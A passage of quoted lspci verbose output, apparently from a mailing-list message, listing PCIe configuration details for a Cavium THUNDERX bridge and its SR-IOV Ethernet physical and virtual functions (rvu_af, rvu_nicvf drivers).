> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=19, subordinate=19, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:01:00.0 Ethernet controller: Cavium, Inc. Device a065 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 840000000000 (32-bit, non-prefetchable) [size=8G]
> Region 2: [virtual] Memory at 840200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=38 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable+ Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 9, Total VFs: 9, Number of VFs: 9, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f7
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_af
>
> 0002:01:00.1 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840202000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc100000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.2 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840204000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc140000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.3 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840206000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc180000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.4 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840208000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc1c0000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.5 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84020a000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc200000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.6 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84020c000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc240000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.7 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84020e000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc280000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:01.0 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840210000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc2c0000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
